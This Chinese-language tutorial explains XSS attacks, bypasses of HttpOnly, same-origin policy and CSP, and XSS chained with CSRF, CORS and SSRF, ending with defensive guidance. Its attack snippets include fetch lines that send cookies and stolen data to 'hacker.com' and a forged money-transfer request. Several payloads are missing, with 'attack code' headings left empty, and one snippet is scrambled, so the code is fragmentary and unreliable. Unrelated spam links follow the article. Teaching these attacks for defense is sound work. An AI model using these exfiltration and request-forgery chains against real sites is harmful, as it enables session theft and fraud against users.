五、XSS 与其他漏洞的组合利用

五、XSS 与其他漏洞的组合利用

一、XSS 漏洞核心原理与分类1. XSS 本质与危害XSS(跨站脚本攻击)的本质是攻击者通过注入恶意脚本到可信页面中,使得用户浏览器执行非预期的代码。其危害包括:

Cookie 窃取:获取用户会话身份。

页面篡改:钓鱼攻击、广告注入。

键盘记录:监听用户输入。

内网探测:结合浏览器能力扫描内网服务。

2. XSS 三大类型反射型 XSS:恶意脚本来自 HTTP 请求参数,服务端未过滤直接返回页面。示例:

https://example.com/search?q=

存储型 XSS:恶意脚本存储到数据库,长期影响所有访问者。常见场景:论坛评论、用户资料页。

DOM 型 XSS:纯前端漏洞,由 JavaScript 操作 DOM 时引入。示例:

document.write('

' + location.hash.slice(1) + '
'); // 攻击:http://site.com#

二、HttpOnly 对 XSS 的防御与绕过1. HttpOnly 的作用原理Cookie 保护:当 Cookie 标记为 HttpOnly时,JavaScript 无法通过 document.cookie读取。服务端设置示例(Node.js):

res.setHeader('Set-Cookie', 'session=abc123; HttpOnly; Secure; SameSite=Strict');

2. HttpOnly 的局限性无法阻止以下攻击:

劫持用户会话后发起请求(如 )。

读取浏览器自动填充的密码(需结合其他漏洞)。

利用浏览器扩展 API(如 chrome://协议)。

3. 绕过 HttpOnly 的尝试XST(Cross-Site Tracing)攻击:利用 HTTP TRACE 方法反射 Cookie(现代浏览器已禁用 TRACE)。攻击代码:

浏览器漏洞利用:历史漏洞(如 IE 的 document.execCommand("GetObject"))可绕过 HttpOnly。

三、同源策略(SOP)对 XSS 的影响与绕过1. 同源策略的核心规则同源策略限制不同源的页面间访问敏感数据,定义为:协议、域名、端口均相同。受限操作:

读取跨源页面的 DOM、Cookie、LocalStorage。

发送跨域 AJAX 请求(受 CORS 限制)。

2. SOP 如何缓解 XSS限制数据泄露:即使存在 XSS,攻击者无法直接通过 AJAX 发送数据到外部域名。示例:

// 攻击者尝试外传 Cookie

fetch('https://hacker.com/steal?data=' + document.cookie); // 受 CORS 阻止

3. 绕过 SOP 的技术手段(1) CORS 配置错误场景:目标站点配置 Access-Control-Allow-Origin: *。攻击步骤:

fetch('https://target.com/api/user', {

credentials: 'include'

诱导用户访问恶意页面 evil.com。2. 通过 XHR 发送带凭据的请求:

}).then(data => sendToAttacker(data));```

(2) JSONP 回调函数注入原理:利用未过滤回调参数的 JSONP 接口。漏洞端点:

https://target.com/api?callback=legitCallback

攻击代码:

(3) postMessage 滥用场景:父窗口与 iframe 通信时未验证来源。漏洞代码(父窗口):

window.addEventListener('message', (e) => {

document.getElementById('content').innerHTML = e.data; // 未验证 e.origin

});

攻击代码(恶意页面):

window.opener.postMessage('', '*');

四、绕过特殊标签过滤的 XSS 技巧1. 经典标签与属性绕过绕过

2. 现代浏览器防御绕过CSP(内容安全策略)绕过:

利用 unsafe-inline或缺失 default-src。

注入允许域的脚本:

XSS Auditor 绕过(已弃用):

拆分恶意代码:

五、XSS 与其他漏洞的组合利用1. XSS + CSRF:跨站脚本与请求伪造攻击链:

通过 XSS 获取当前用户的 CSRF Token。

构造自动提交表单:

fetch('/api/csrf-token').then(r => r.json()).then(token => {

fetch('/api/transfer', {

method: 'POST',

body: JSON.stringify({to: 'hacker', amount: 1000, _token: token})

});

});

2. XSS + CORS:跨域数据外泄场景:目标站点允许来自任意域的 CORS 请求。攻击代码:

fetch('https://target.com/sensitive-data', { credentials: 'include' })

.then(res => res.text())

.then(data => {

fetch('https://hacker.com/log?data=' + encodeURIComponent(data));

});

3. XSS + SSRF:穿透内网边界利用方式:通过 XSS 触发服务端请求(需存在 SSR 功能)。示例(Node.js 漏洞代码):

app.get('/proxy', (req, res) => {

fetch(req.query.url).then(r => r.text()).then(data => res.send(data));

});

攻击载荷:

4. XSS + 业务逻辑漏洞:特权升级案例:某电商平台存在订单金额篡改漏洞,结合 XSS 自动化攻击:

// 修改订单金额为 0.01 元

const orderId = '12345';

fetch(`/api/orders/${orderId}`, {

method: 'PUT',

body: JSON.stringify({ amount: 0.01 })

});

六、综合防御方案1. 输入过滤与输出编码原则:对用户输入进行严格校验,对动态输出进行上下文敏感编码。示例(React 安全实践):

// 自动转义 HTML

{userInput}

// 危险场景:使用 dangerouslySetInnerHTML 时需净化

import DOMPurify from 'dompurify';

2. 内容安全策略(CSP)推荐配置:

Content-Security-Policy:

default-src 'none';

script-src 'self' https://trusted-cdn.com;

img-src 'self';

style-src 'self' 'unsafe-inline';

connect-src 'self';

form-action 'self';

frame-ancestors 'none';

report-uri /csp-report;

3. 安全 HTTP 头部增强配置:

X-Content-Type-Options: nosniff

X-Frame-Options: DENY

Referrer-Policy: no-referrer

4. 现代浏览器特性Trusted Types API(Chrome 83+):

// 服务端返回头

Content-Security-Policy: require-trusted-types-for 'script';

// 前端定义策略

const policy = trustedTypes.createPolicy('escapePolicy', {

createHTML: input => DOMPurify.sanitize(input)

});

document.body.innerHTML = policy.createHTML(userInput);

七、总结XSS 的防御是一场持续的动态博弈。攻击者不断发掘新的绕过技巧,而开发者需通过分层防御、安全编码和实时监控构建全方位护盾。理解漏洞原理、熟悉攻击手法、掌握防御框架,是每一位 Web 安全从业者的必修课

相关推荐

硬盘录像机报价 365娱乐游戏

硬盘录像机报价

📅 07-27 👁️ 1023
如何查看 crx源码 365娱乐游戏

如何查看 crx源码

📅 09-23 👁️ 3743